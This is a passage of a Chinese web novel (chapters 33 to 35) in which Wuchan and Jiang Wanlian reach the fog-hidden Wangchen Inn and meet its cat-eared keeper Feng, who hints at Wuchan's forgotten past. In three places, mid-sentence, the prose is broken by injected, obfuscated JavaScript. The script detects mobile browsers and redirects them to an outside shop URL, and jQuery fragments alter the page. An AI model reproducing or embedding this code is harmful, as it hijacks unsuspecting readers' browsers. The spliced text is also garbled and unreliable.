无忏的脸色彻底冷了下来,眼中杀意毕现。他不再留手,身形如鬼魅般冲向罗刚,黑剑舞动,剑影重重,瞬间便将罗刚笼罩。罗刚只能勉强抵挡,惨叫声此起彼伏,身上的伤口越来越多。 孙二见状,吓得魂飞魄散,转身就想跑,却被枫叶埋住的石子绊倒,磕到了膝盖 “哎哟!”孙二惨叫一声,摔倒在地。 无忏解决掉罗刚,转身看向孙二,黑剑直指他的咽喉。罗刚已经被废了武功,瘫倒在地,动弹不得,嘴里还在哼哼唧唧。 孙二吓得浑身发抖,脸色惨白,连连磕头:“无忏大哥,饶命啊!我不是故意的,都是罗刚逼我的!我再也不敢了!” 江晚怜走到孙二身边,踹了他一脚,恶狠狠地说:“饶你可以,老实交代,你们是不是也在找忘尘客栈?怎么知道这里有忘尘客栈的?还有,悬赏我的人到底是谁?” 孙二不敢隐瞒,连忙说道:“是……是我们花价钱找江湖人听的,他说红枫山的枫叶林里有真正的忘尘客栈,至于、至于……悬赏你们的人,我们不知道啊!” “说!”无忏冷声催促,剑尖又往前送了半分。 “我俩知道的真不多啊!!”孙二吓得眼泪都出来了:“悬赏是中转的,雇主身份神秘,没人知道是谁!而且,我们也是为了高额悬赏花钱买消息,知道你们要找总栈,才来这的!” 江晚怜和无忏对视一眼,都从对方眼中看到了震惊。原来悬赏他们的人与忘尘客栈有关,这倒是个重要的线索。 “还有吗?”江晚怜追问。 “没了!真的没了!”孙二哭着说:“我知道的都告诉你们了,求你们饶了我吧!” 无忏看了他一眼,确定他没说谎,手腕一翻,一声惨叫连天,废了他的武功。 “滚。” 孙二如蒙大赦,连滚带爬地跑了,连地上的弩箭都忘了捡。罗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17015990|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚也挣扎着想要爬走,被江晚怜踹了一脚,骂道:“再让我们看到你,打断你的腿!” 罗刚吓得一哆嗦,也狼狈地逃走了。 林间恢复了寂静,只剩下满地的血迹和散落的武器。江晚怜看着地上的血迹,不禁皱了眉,刚才的勇气瞬间消失不见,腿也开始发软。 无忏走到她身边,递给她一块干净的布条。 江晚怜接过布条,才发现自己的手上沾了些泥土和血迹,她赶紧擦干净,心里还有点后怕。“真是吓死我了,那罗刚的斧头差点就劈到我了。” “没事了。”无忏的声音比平时柔和了些许,他看着江晚怜发白的脸,补充道:“你刚才做得不错。” 江晚怜一愣,随即脸上涌上一丝喜色:“真的?你觉得我刚才帮上忙了?” 无忏颔首:“一般吧。”虽然没砸中,但确实分散了孙二的注意力。 江晚怜心里美滋滋的,刚才的后怕也淡了不少。她看着无忏,忽然觉得这家伙也不是那么冷冰冰的,至少还会夸人。 两人继续在林间寻找忘尘客栈。江晚怜偶尔提醒他注意脚下的树枝。她能感觉到,两人之间的气氛似乎比之前融洽了些,那种疏离感淡了许多。 “你说,忘尘客栈的总掌柜到底是什么人?不会又是只猫吧?”江晚怜好奇地问。 无忏径直往前:“不知道。”但他心里却莫名地觉得,自己曾经来过这,并且还是和……一个人?记忆模糊了大部分画面,只有几片飘在空中的枫叶充斥着回忆。 就在这时,江晚怜忽然指着前方不远处的一棵老枫树,惊喜地说:“你看你看!那是什么?” 无忏顺着她指的方向望去,只见那棵老枫树下,四处散落着较为不同的枫叶,一路飘上上方。 “这是……”江晚怜走上前,捡起一片枫叶:“这枫叶好奇怪,边缘是还是金色的。” 无忏蹲下身,仔细观察着那些枫叶,又看了下枫叶飘落的路迹,眼中闪过一丝思索:“上去看看。” 他刚说完,就听到身后传来一阵轻微的脚步声。两人立刻警惕起来,转身望去,却什么也没看到。 “是谁?”江晚怜紧张地问。 无忏目光扫过四周,没有发现任何人的踪迹。但他能感觉到,确实有人在附近,当然——不是李子遥和叶玖,无忏从一开始就注意到这俩人了。除去这俩人,对方的气息很隐蔽,显然是个高手 两人不再疑神疑鬼,快步朝着枫叶指引的方向走去,他知道,刚才的人明显冲着他们来的。林间的雾气渐渐浓了起来,周围的景物也变得模糊不清,但那些金色边缘的枫叶却像是指路明灯,一直引导着他们前进。 而在他们身后不远处,叶玖和李子遥正站在一片枫树后,看着他们远去的背影。 “师姐,他们好像发现了什么线索。”李子遥低声说,语气中带着兴奋。 叶玖点点头,目光锐利地盯着那些金色边缘的枫叶:“这些枫叶有问题,应该是某种指引。看来,忘尘客栈的总栈…确实和师尊说的在这片林子里。” “那我们赶紧跟上?”李子遥说道。 “等等。”叶玖拦住他:“无忏很警惕,我们不能靠太近,以免打草惊蛇。跟在他们后面,看看他们能不能找到客栈的入口。” 两人小心翼翼地跟了上去,脚步放得极轻,尽量不发出任何声响。 林间的雾气越来越浓,能见度越来越低。江晚怜紧紧跟在榜首大佬的后头,心里既紧张又期待。她不知道前方等待着他们的是什么,但她能感觉到,忘尘客栈已经离他们越来越近了。 江晚怜抬头看向他,雾气中,他的侧脸轮廓依旧冷硬,但那双异色的眼眸却透着一丝让人安心的坚定,心里的紧张淡了些许,跟着他一步步向前走去。 金色的枫叶和飘摇的灯笼还在前方指引,忘尘客栈的神秘面纱,即将被揭开,而身后之人,也在步步紧追。 33. 忘尘处 雾气如自天穹倾泻的棉絮,越往林深处去便越是浓稠,湿漉漉地附着在眼睫上,将四下景致晕染得一片朦胧。唯有镶着金边的枫叶与摇曳的纸灯笼,在雾中浮沉明灭,宛若一串指引迷途的星火,牵着两人的衣角,向幽寂的林子深处蔓去。脚下层层叠叠的落叶吸饱了潮气,踩上去的声响闷闷的,连同风过枫林的沙沙声也一并被吞没,只余他们自己的脚步声,一声,又一声,在这片被雾气包裹的寂静里清晰得有些慑人。 江晚怜几乎要踩到无忏那玄色衣袍的后摆,她紧跟着前方那抹沉稳的背影,心里头七上八下:一面默默祷祝千万别又绕回老地方,一面忍不住对这遮天蔽日的白雾犯嘀咕:“这雾这么浓,你真信那几片叶子指的路?”她伸手拨开斜刺里探出的湿冷枝条,指尖传来的寒意激得她一哆嗦。 无忏的步伐未有丝毫迟滞,目光如线,始终系在前方雾中零星闪现的金色光点上,只简略应道:“嗯。”他侧身让过一截横生的虬干,同时手臂一抬,恰好将差点撞上的江晚怜拦下,微凉的指尖无意间掠过她的额际。 江晚怜一怔,颊边没来由地漫起一丝热意,本能地往后缩了缩脖子,嘴上却不肯服软:“知道了知道了,数你最可靠行了吧?我就怕走到头,还是这片看厌了的林子。”话虽如此,她的脚步却诚实地又朝他挪近了几分。那弥天漫地、令人心慌的雾气,似乎在他静默如山的背影旁,便被无声地隔开、消融了泰半。 循着枫叶若隐若现的指引,约莫行了半刻钟,周遭凝滞的雾气竟微微流动、稀薄了些许。江晚怜眯起眼努力向前望,忽地低低惊呼:“前面……有光!” 无忏抬眸,只见前方不远处,那搅动的雾海深处,渗出一团暖融融的黄晕。那光非林间流萤的冷绿,亦非穿透云层月华的清辉,它安稳、温厚,带着人间灶火与灯烛特有的暖意,在这深浅不一的雾障中,成为唯一醒目的坐标。光晕周遭的枫树似乎生得格外蓊郁,枝头叶片红得愈发浓烈,那鎏金似的边缘,在暖光映照下流转着细碎如鳞的微芒。 “是客栈么?”江晚怜的声音里压不住雀跃,脚步立时轻快起来,却陡然被无忏伸出的手牢牢扣住腕子。 “慢着。”无忏眸色沉敛,目光如锐利的刀锋,细细刮过光晕边缘那些看似寻常的雾气:“气息有异。” 江晚怜心头一凛,满腔兴奋瞬间冷却,顺着他视线望去,却只见茫茫雾色。“怎么了?有埋伏?” “不,”无忏否定得干脆:“……更近了。”一种存在感,正潜伏在光晕附近的枫林深处,其气息与周遭的雾、叶、风几乎融为一体,若非他灵觉远超常人,绝难捕捉。更奇的是,那气息并无杀意,反而透着一种静候般的从容。 江晚怜立刻屏住呼吸,手已按上腰间短匕的柄:“什么不对?你说这儿还藏着人?!”若是她想的那样——真是阴魂不散!罗刚与孙二的事才了,竟又有人缀上?能让无忏如此戒备的,绝非庸手。这片看似唯美的枫林,究竟还蛰伏着多少危险? 无忏未再停留,反手将她一带,步伐陡然加快,声音压得极低,送入她耳中:“跟紧。” 江晚怜被他这突如其来的提速带得一个趔趄,回过神来赶忙小跑着跟上。前方那团暖黄光晕越来越清晰,已能勉强辨出光后飞檐斗拱的模糊轮廓。她心中一半是绷紧的弦,一半是按捺不住的期待:那便是真正的忘尘客栈?那位总掌柜,究竟是何等人物?能有这般通天的手段。 与此同时,在他们身后不远,另一处雾霭掩映的枫树下,叶玖与李子遥亦窥见了那点暖光。 “师姐!是忘尘客栈!”李子遥压低嗓门,语气难掩激动:“他们果真寻到了!” 叶玖微微颔首,一手按在李子遥肩头,示意他切勿妄动:“稍安勿躁,那光晕周匝透着古怪,而且……你可曾察觉到?”她敏锐的灵觉已捕捉到,前方除了无忏与江晚怜,还有另一股幽深难测的气息,如古井深潭,令人心悸。 李子遥被她凝重的神色弄得有些发毛:“师姐,你别吓我……” 暖黄的光晕渐次放大、逼近,其光源终于全然显露——是一盏悬于客栈门楣下的灯笼,素绢灯罩上绘着一只慵懒蜷缩的猫形图案,与青石、落霞两镇客栈的标记同源,却更显精巧古雅。客栈的全貌于雾中缓缓展露,青砖砌就的墙,黛瓦铺成的顶,檐角轻扬,比起前两处,果然气象恢宏,沉静中自有一股不凡气度。 就在两人目光被客栈吸引的刹那,右侧一株古老枫树的枝叶无风自动,一片边缘灿金的红叶悠悠旋落。一道绯色身影,自树后翩然步出。 那女子身着绯红长裙,裙裾曳地,其上以稍深丝线绣着细密枫纹,随着她轻盈步履微微漾动,如秋波粼粼。最夺目的是她发顶一对毛茸茸的黑色猫耳,在灯笼暖光下机敏地微微颤动,平添几分娇俏与神秘的媚态。她手中亦提着一盏相同式样的灯笼,暖光映亮她芙蓉似的面庞,一双桃花眼顾盼间波光流转,唇角噙着一缕似有还无的笑意。 “哎哟,这可是稀客。”嗓音娇柔婉转,似羽毛尖儿搔过心尖。她的目光先落在无忏身上,眼波深处掠过一丝极淡、难以捕捉的怀念,随即转向江晚怜,探究之意便明显了许多:“无忏公子身旁,几时多了位这般灵秀的小姑娘?倒真是有趣得紧。” 江晚怜惊得眼眸圆睁,下意识揉了揉眼睛。猫!不对……是活生生的、长着猫耳的女子!这模样,分明是她记忆中那漫画里也未曾提及过的人物! 她心下骇然,忍不住凑近无忏,悄悄拽了拽他衣袖,引得他略略侧耳:“喂,这人谁啊?她认得你诶。” “不知道。”无忏答得简短,身形已悄然调整,将江晚怜护在侧后方。周身气息瞬间变得凛冽如出鞘寒刃,腰间那柄乌沉沉的长剑,已然露出一截慑人的墨色锋刃。 “什么人?”他直视那绯衣女子,心底莫名泛起一丝诡异的熟稔,仿佛在遥远模糊的过往里曾见过这般身影,但任他如何追索,记忆仍是一片空白。这捉摸不定的感觉,令他无端烦躁。 “真是叫人伤心呢,竟这般将我忘了。”女子状若委屈地扁了扁嘴,头顶那双猫耳也应景般微微耷拉下来,但这情态只维持了一瞬,她便浑不在意地抬手撩了下鬓边发丝,仿佛刚才那点嗔怪只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17018828|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是玩笑:“单名一个‘枫’字,可曾想起什么?若是没有……也罢,毕竟你忘却的旧事,又何止这一桩。”她的语气里染上一丝微不可闻的怅惘,目光拂过无忏的脸庞,似在端详一件失落许久、重又得见的旧物。 江晚怜心头猛地一沉。“枫”话中深意,她岂会听不出?急忙追问:“你认识他?他……忘了什么?” 枫却未直接答她,只翩然转身,缓步踱至客栈那扇紧闭的木质大门前,素手轻推。“吱呀——”一声悠长的轻响,划破了林间过于厚重的寂静。门内景象随着渐开的门缝展露:暖黄光线盈满厅堂,数张八仙桌井然有序,桌上茶具莹润,墙角青铜香炉吐出袅袅青烟,空气中浮动着一种清冽又温暖的淡枫香气。堂内空无一人,唯有几只毛色各异的猫儿,或在桌脚追逐,或蜷在椅上假寐,为这静谧添上几分生动。 “这座忘尘客栈,只迎有缘之人。”枫侧身回望,桃花眼弯成两弧月牙:“二位能寻至此地,便是缘,我嘛,便是这忘尘客栈真正的掌柜,可觉意外?”她的视线在江晚怜身上停留片刻,唇边笑意加深,吐出的话语却如一枚投入静湖的石子: “尤其是你——‘江晚怜’。” 此言一出,宛若惊雷炸响在江晚怜耳畔。她脸色霎时褪尽血色,脚下不受控地后退半步,心脏在胸腔里擂鼓般狂撞起来:她这话是何意?!她看穿了自己并非原装的“江晚怜”?还是……自己太过敏感,会错了意? 无忏敏锐地察觉身侧人儿的震颤与惊惶,上前半步,将她彻底挡在身后,眼神冰寒地锁住枫:“你想说什么?” “不过一句问候罢了,何必如此紧张。”枫轻笑一声,不再多言,转身袅袅步入客栈,“外头雾重,寒气侵骨,还是进来吧。至于林子里另外两位朋友……便让他们,再多候片刻。”余音袅袅,融在暖光与淡香里,带着一种难以言喻的、蛊惑人心的力量。 无忏与江晚怜交换了一个眼神,彼此目中皆是凝重与戒备。略一迟疑,两人终是抬步,一前一后,踏入了这座沉睡于迷雾深处的青砖客栈。身后那扇厚重的木门,在他们身影没入堂内光晕的瞬间,无声无息地、严丝合缝地关闭了。 门外,枫林雾海重归沉寂,将那点暖光与所有声息牢牢锁住。 不远处的树影下,叶玖与李子遥望着那扇紧闭的门扉,面色凝重如铁。 “师姐,他们进去了!我们现下如何?”李子遥压低嗓音,焦灼问道。 叶玖目光紧紧黏在那扇门上,仿佛要将其看穿:“等,门内那人,深浅难测,贸然动作,恐反受其害。”她有种预感,某些被迷雾掩盖许久的真相,即将在这座客栈中,破土而出。 客栈大堂内,枫已悠然在主位落座,素手执起白瓷茶盏,浅呷一口,目光落在并肩而立的两人身上,尤其是无忏。她嘴角那抹神秘的微笑始终未曾褪去,静默无言,仿佛在耐心等待着什么,等待着某个注定到来的时刻,或是某句注定要问出口的话。 空气中,淡枫香与茶香交织,几只猫儿停止了嬉戏,蹲坐在各处,琉璃似的眼瞳静静地、齐刷刷地望向新来的客人。 34. 忘却旧尘深处 暖光与淡香如潮水般温柔包裹周身,几乎让人忘却门外那浓得化不开的雾气与潜伏其中的杀机。烛火在琉璃罩中轻轻跃动,将客栈厅堂映照得一片朦胧昏黄,空气里飘着枫木与茶香交织的暖意,仿佛连时光在这里都放缓了流淌的速度。但江晚怜的脊背仍是僵的——一种源自本能、无法完全松弛的警觉,如同细弦般绷在她神经的深处。她站在无忏身后半步之遥,目光却不由自主地、再三飘向那位自称“枫”的绯衣掌柜,尤其是她头顶那对毛茸茸的、随着呼吸与情绪不时轻轻颤动的黑色猫耳。 真像是从某个尘封的怪谈里走出来的精魅,美得妖异,又透着非人的灵动。 枫将手中白瓷茶盏搁在乌木桌上,发出轻细一声“嗒”,在这过分安静的厅堂里显得格外清晰。她抬眼,一双桃花眼中笑意盈盈,眼尾天然上挑,流转着妩媚却又疏离的光彩。她的视线越过高大沉默的无忏,精准地落在江晚怜脸上,仿佛早已洞悉这少女才是两人中更容易泛起波澜的那一个。 “站着做什么?”枫的声音带着一种午后小憩初醒般的慵懒,尾音微微拖长,奇异地能抚平焦躁,引人卸下防备,“坐吧,忘尘客栈的规矩——进门是客,门外是非,皆不入此门。” 话音落下,她指尖在桌面轻轻一叩,那指甲染着淡淡的蔻丹,与绯衣相映。 仿佛无声的指令传开,四下里,那些原本或蜷在窗台、或卧在柜台、或隐在阴影中的猫儿,忽然齐齐动了。一只通体雪白、碧眼如深海宝石的猫儿轻盈跃上空着的梨木椅,优雅地转身,用毛茸茸的脑袋顶了顶椅背,发出轻微的“咕噜”声;另一只花纹斑斓的狸花猫则不知从何处叼来一只绣着精致枫叶纹的锦缎软垫,小心摆在另一张椅上,还伸出爪子拍了拍,使其更平整;更有只圆滚滚的橘猫慢吞吞蹭到江晚怜脚边,仰起圆脸,软软地“喵”了一声,尾巴尖儿带着某种安抚的节奏,轻轻扫过她的裙摆。 这般近乎通晓人意的殷勤,反倒像一层甜蜜的蛛网,让江晚怜心头的不安丝丝缕缕地缠绕更深。她下意识地看向身前的无忏,等他示意。 无忏的目光自进门起便未曾离开枫的身上,那审视沉静而极具压迫感。片刻后,他极轻微地点了下头,并未多言,率先在那张由白猫“侍奉”的椅子坐下。那柄形制古朴的黑剑被他横放于膝头,剑鞘黯淡无光,吞噬着周围的光线。他姿态看似放松,脊背却依旧挺直如松,周身每一寸肌肉都维持在一种精妙的平衡之中,蓄着随时可以爆发的力道。 江晚怜这才小心翼翼地挨着软垫边缘坐了,只敢坐半个屁股,腰背挺得笔直,双手规规矩矩叠放在膝上,又不自觉地悄悄攥紧了袖口细微的褶皱,指尖因用力而微微发白。 枫将这一切细微的动作与神情尽数收入眼底,唇角那抹笑意深了些许,眼波流转间带着玩味,却也不点破。她自顾自又执起那柄素雅的青瓷茶壶,斟了浅浅一盏淡金色的茶汤,纤指推至无忏面前。水汽袅袅上升,带着独特的清冽香气。 “尝尝,是今年新收的枫露茶。”她的语气熟稔得如同面对一位时常叨扰的老友,“只这片林子最深处,那几株汲取了百年月华的老枫树才产得出来。晨间收集叶尖凝露,佐以特殊手法焙制,清冽里带着一丝沁入喉头的回甘,不甜不腻。我记得……你应当不讨厌这个味道。” 无忏垂眸,视线落在茶盏中微微晃动的淡金色涟漪上,并未伸手去碰。暖光映着他线条冷硬的侧脸,一半浸在光明里,一半隐于阴影中,异色的双眸显得愈发深邃难辨。 “你认识我。”他开口,声音低沉平稳,没有疑问的语调,只是一种冷静的陈述,却比质问更令人无从回避。 “算是吧。”枫以手托腮,那对黑色的猫耳随着这个动作微微向一侧偏了偏,显出几分回忆时的可爱神态,与她妩媚的容貌形成奇异的反差,“许多年前了……那时你可比现在……”她顿了顿,似乎在挑选合适的词语,眼睫轻扇,“有趣得多。小小一个,不爱说话,总是绷着脸,但总爱盯着我这对耳朵瞧,直勾勾的,吓得我当时以为,你下一刻就要扑上来揪它们呢。” 她说着,自己先轻笑了出声,那笑声如风摇银铃,媚意横生,却又因话中内容而透出一股遥远而柔软的怀念,如同在翻阅一本边角泛黄的旧书。 无忏的眉峰紧了紧。记忆的深处依旧是一片空茫的迷雾,寻不到任何具体清晰的画面或轮廓。但枫所描述的情景——那种专注的凝视,那种孩童式的好奇——那不是画面,而是一种朦胧的感觉,类似冬日午后穿过陈旧窗棂、落在身上的那一小片暖阳,带着尘埃静静浮动的、近乎凝固的静谧与安宁。 “我不记得。”他道,声音依旧平稳无波,听不出情绪。 “我知道。”枫点了点头,语气轻松得仿佛只是在谈论窗外无关紧要的雾气,“你若记得,反倒奇怪了。毕竟当年那些事……牵扯太深,水也太浑。忘的干干净净的,未尝不是一种‘慈悲’。”她说到“慈悲”二字时,语气微妙地沉了沉,目光若即若离地掠过无忏那双异瞳,尤其在左边那只暗红如凝固血液、仿佛封印着无尽秘密的眼眸上,停留了意味难明的一瞬。 江晚怜在一旁听得心头发紧,掌心渗出了薄汗。她想起此番不顾凶险跟随无忏来到此地的缘由,想起那神秘的纸条,忍不住轻声追问,声音因紧张而略显干涩:“掌柜的……之前是您让那只狸花猫,给我们递了那张小纸条,引我们来此么?您……是不是知道些什么,想要告诉我们?” 枫将视线转向她,桃花眼弯成好看的月牙:“小姑娘倒是心急。”她不急不缓地执起自己面前的茶盏,慢悠悠地啜了一口,喉间轻轻一动,才继续道:“你们进城之后,是否听过那说书人讲的半截故事?” “你怎么知道?”这次是无忏接过了话,他的目光锐利如刀,仿佛要穿透枫那笑意盈盈的表象。 “当然是这个小家伙告诉我的。”枫伸手,怜爱地摸了摸不知何时跳上她膝头的一只三花小猫。那猫儿舒服地眯起眼,喉咙里发出响亮的“呼噜”声,昂起小脑袋,碧绿的眼珠瞥向江晚怜,竟似流露出几分人性化的得意之色。江晚怜脑中灵光一闪,骤然想起,当时似乎确有模糊的猫影一闪而过,隐入巷角…… “那说书人只说到‘一见倾心’,便戛然而止,再无后文,对不对?”枫的声音将江晚怜的思绪拉回,“因为后来的事……知道的人本就不多,而还敢说的,更是少之又少。那不仅仅是故事,更是一段被刻意掩埋的过往。” 她顿了顿,像是要在记忆的长河中仔细打捞、斟酌词句,厅堂内一时只剩下烛芯偶尔爆开的噼啪轻响,以及猫儿们绵长的呼吸声。暖黄的灯光在她绯红的裙裾上缓缓流淌,她整个人仿佛浸在旧日记忆的余晖里,蒙上了一层虚幻而哀伤的薄纱。 “我只知,故事里的那位修行者,第一次,也是唯一一次,违背了他所奉的严苛师命。”枫的声音低缓下来,如同在吟唱一首古老的歌谣,“与那傀儡师女子交手之时,他只守不攻。任凭那女子操控的傀儡如潮水般从四面八方袭去,攻势凌厉,诡谲多变,他却只是挡,只是退。手中剑未曾出鞘,周身未曾泄出一丝杀气。那女子最终停了手,万千傀儡悬于半空,她独自立在漫天呼啸的风雪之中,黑发飞扬,问他:‘你为何不出手?’” 江晚怜不知不觉屏住了呼吸,仿佛自己也置身于那场遥远而寂静的对峙之中,感受到风雪刮过脸颊的寒意,与那凝固在空气中的、复杂难言的情绪。 “那修行者怎么答的?”她几乎是气声问道,生怕惊扰了这叙述的脉络。 “他说……”枫抬起眼,目光迷离,似已穿透了客栈的墙壁与时空的阻隔,望向了那片冰天雪地,“他说:‘我奉命擒你回去,未曾奉命伤你分毫,师门要的,是一个活着的、完整的你,不是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17021238|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个死了的、支离破碎的傀儡师。’” 无忏搭在黑色剑柄上的手指,几不可察地收紧了一分,指节泛出淡淡的青白色。 “那女子听了,久久不语。”枫说到这里,忽然停住了。她端起已然微凉的茶盏,凑到唇边,轻轻吹了吹已无热气的水面,垂下的浓密眼睫完美地掩去了眸中一闪而过的复杂情绪,那情绪里似乎有痛惜,有嘲讽,亦有一丝深藏的惘然。“后来的事……牵扯更广,恩怨更深,小到小打小闹,大到天下众生,便不是三言两语能说清的了。江湖传闻,十有九虚,添油加醋者有之,刻意抹黑者亦有之。真真假假,假假真真,时过境迁之后,谁又能真正说得准呢?” 她显然不愿,或许也是不能,再往下深谈。话锋轻轻一转,重新落回无忏身上,语气变得有些微妙难辨,带着探究与一丝几不可闻的叹息:“她……在那次相遇之后,她给自己起了一个只在此后行动中使用的代号,单字一个‘鸢’。鸢鸟飞影,孤高翩跹——这或许便是后来那诗中‘临堤鸢影’四字最初的由来了,你有印象么?” 鸢。 这个字音,清清冷冷,却又带着某种锐利的弧度,落入耳中的瞬间,无忏的左眼瞳孔深处骤然传来一阵尖锐的刺痛。 并非持续不断的剧痛,而是极其短暂、极其迅猛的一下,仿佛一根淬了寒冰的细针,毫无征兆地刺入眼底最柔软的所在,又在转瞬间抽离,只留下清晰而令人战栗的余悸,顺着神经末梢蔓延至太阳穴。他整个身体僵硬了极短的一瞬,搭在剑柄上的手背,淡青色的血管微微凸起。 江晚怜一直留意着他,立刻敏锐地察觉到了这细微的异样,担心地侧目望去。无忏却已恢复了那副万年不变的冷寂模样,面上波澜不惊,只是眼底那片暗沉的红色,在方才的刺痛过后,似乎变得更加幽深浓郁了些,像是有什么东西在下面无声地翻涌了一下,又迅速归于沉寂。 枫将这一切尽收眼底,眼中掠过一丝“果然如此”的了然,但那了然之色迅速被惯常的笑意覆盖,滴水不漏。她翩然起身,绯红的宽大衣袖如流云般拂过光洁的桌面,带起一阵混合着茶香与清香的微风。“今夜便在此歇下吧。楼上甲字一号房与二号房,已为你们备好,算是我的一点心意,不收银钱。至于门外那些‘尾巴’……”她眼波朝紧闭的大门方向一荡,唇角勾起一抹淡淡的的弧度:“暂且还进不来。” 她袅袅走向柜台后方那通往二楼的木梯,木屐踩在木板上,发出清脆而有节奏的“嗒、嗒”声。行至楼梯中段,她忽然驻足,回眸一顾。暖黄的灯光从下方映照着她的侧脸与身姿,在墙上投下曼妙而朦胧的影子。 “对了。”她看向依旧端坐如钟的无忏,语气轻飘飘的,像一片即将坠入深渊的枫叶,带着最后的、近乎叹息的余韵,“鸢……她后来泡的枫露茶,是我此生喝过最好的,再无人能及。她总说,是很多年前,一个人手把手教她泡茶的——”她顿了顿,目光似有若无地扫过无忏僵直的背脊,声音愈发轻柔,“她常说,要是当年教她的那个人,也能尝尝她后来泡的茶,就好了。” 说完,她不再停留,绯红的身影彻底隐入楼梯拐角处的阴影之中,唯有那淡淡的余香,和几句轻语,仿佛还萦绕在寂静的空气里。 江晚怜怔在原地,心头被这突如其来的信息搅得一片纷乱。 那个人……指的是谁?是故事里那个只守不攻的修行者吗?如果“临堤鸢影破春初”指的真是那位代号“鸢”的神秘傀儡师女子,那么与她命运纠缠、对应的“长堤柳色入笙歌”,是否极有可能就是那位修行者?但江晚怜的第六感总觉得有些不对。 诗句的碎片,故事的残章,枫语焉不详的暗示,还有无忏那反常的刺痛反应……这些线索在她脑海中来回碰撞、交错,却如同散落一地的琉璃碎片,耀眼却割手,无论如何拼凑,眼前仍是迷雾重重,无法窥见完整图景的全貌。 35. 微光 “这雾……是不是比刚才又浓了?”李子遥挥剑劈开一丛挡路的荆棘,剑锋带起的风却连眼前三尺的白雾都搅不散,反而让那湿冷的雾气更缠绵地贴上来,沾湿了他的额发与肩头。他有些烦躁地抹了把脸,看向身侧始终沉默的叶玖。 叶玖没有立刻回答。她停下脚步,鹅黄色的身影在浓白雾霭中显得格外单薄,却也异常沉静。她伸出手,指尖轻轻拂过身旁一棵枫树粗糙的树皮,又凝神侧耳,仿佛在倾听雾气流动的声音。 “不是寻常山雾。”半晌,她才开口,声音清冷,带着一贯的冷静分析:“雾气流动有细微的规律,像是……某种阵法催生,或者被引导。” “阵法?”李子遥眉头拧得更紧,环视四周——除了影影绰绰、仿佛无穷无尽的枫树黑影,便是这吞没一切的雾,“师姐,你是说,这整片枫林,或者我们所在的这片区域,被人布了阵?为了困住我们,还是……保护那座客栈?” “都有可能。”叶玖收回手,目光投向雾气更深处,那里曾短暂地亮起过一点暖黄的灯火,此刻却已完全隐没,“无忏和江晚怜进去了,这阵法,恐怕就是那客栈主人的手笔。” 她想起方才在客栈门外惊鸿一瞥的绯红身影与那对奇异的猫耳,心头那份古怪的违和感再次升起。至少那不是寻常江湖人,甚至可能……不完全是人。师尊的命令、江家血案、神秘的无忏、突然出现的忘尘客栈总栈……这一切纠缠在一起,像一团找不到线头的乱麻。 “那我们怎么办?硬闯?”李子遥握紧了剑柄,眼中闪过不服输的光芒,“总不能一直被这破雾困在外面!谁知道那妖女……那掌柜的,在里面跟他们说什么!” 叶玖看了他一眼,微微摇头:“此阵借地势与天时而成,浑然一体,强行破阵,极易反噬己身,况且……”她顿了顿,语气有些复杂,“那位自称‘枫’的掌柜,深浅难测。她能稳坐忘尘客栈总掌柜之位,令黑白两道都对其所在讳莫如深,绝非易与之辈。我们首要目的是查明真相,完成师命,而非结下不明底细的强敌。” “可难道就这么干等着?”李子遥泄气地踢了一脚地上的落叶。 “自然不是。”叶玖抬头,望向雾霭之上隐约可见的、被雾气晕染成惨淡光斑的月色,“阵法运转,必有节点或生门。我们沿客栈外围小心探查,同时注意雾气与林中气息的变化。他们总要出来,或者……里面总会有些动静。” 她话音刚落,仿佛是为了印证她的话,前方浓雾深处,客栈方向,极其微弱地传来一声闷响,像是重物轻轻落地,又迅速被雾气吸收、湮灭。 两人对视一眼,立刻屏息凝神,朝着声音传来的方向,悄无声息地掩去。 客栈内 橘猫将无忏和江晚怜引至二楼房间后,并未离开,反而轻盈地跳上“甲二”房内的窗台,蜷缩成一团毛球,碧绿的眼眸在昏暗光线下半开半阖,仿佛睡着了,尾巴尖却时不时极轻微地摆动一下。 江晚怜起初并未在意。她心乱如麻,被枫那些语焉不详的话搅得思绪纷飞。直到另一只小猫送来宵夜,简单饱腹一顿,江晚怜重新坐回床沿,才无意间瞥见——那橘猫不知何时已完全睁开了眼睛,正一眨不眨地、安静地看着她。 那眼神……不像普通猫儿的好奇或慵懒,倒更像是一种平静的、带着某种非人智慧的观察。 江晚怜被看得有些发毛,试探着小声问:“你……是枫掌柜让你看着我们的吗?” 橘猫“喵”了一声,声音软糯,却既不肯定也不否定,只是换了个更舒服的姿势趴着,目光依旧落在她身上,偶尔也会转向紧闭的房门,仿佛能穿透木板,看到隔壁的无忏。 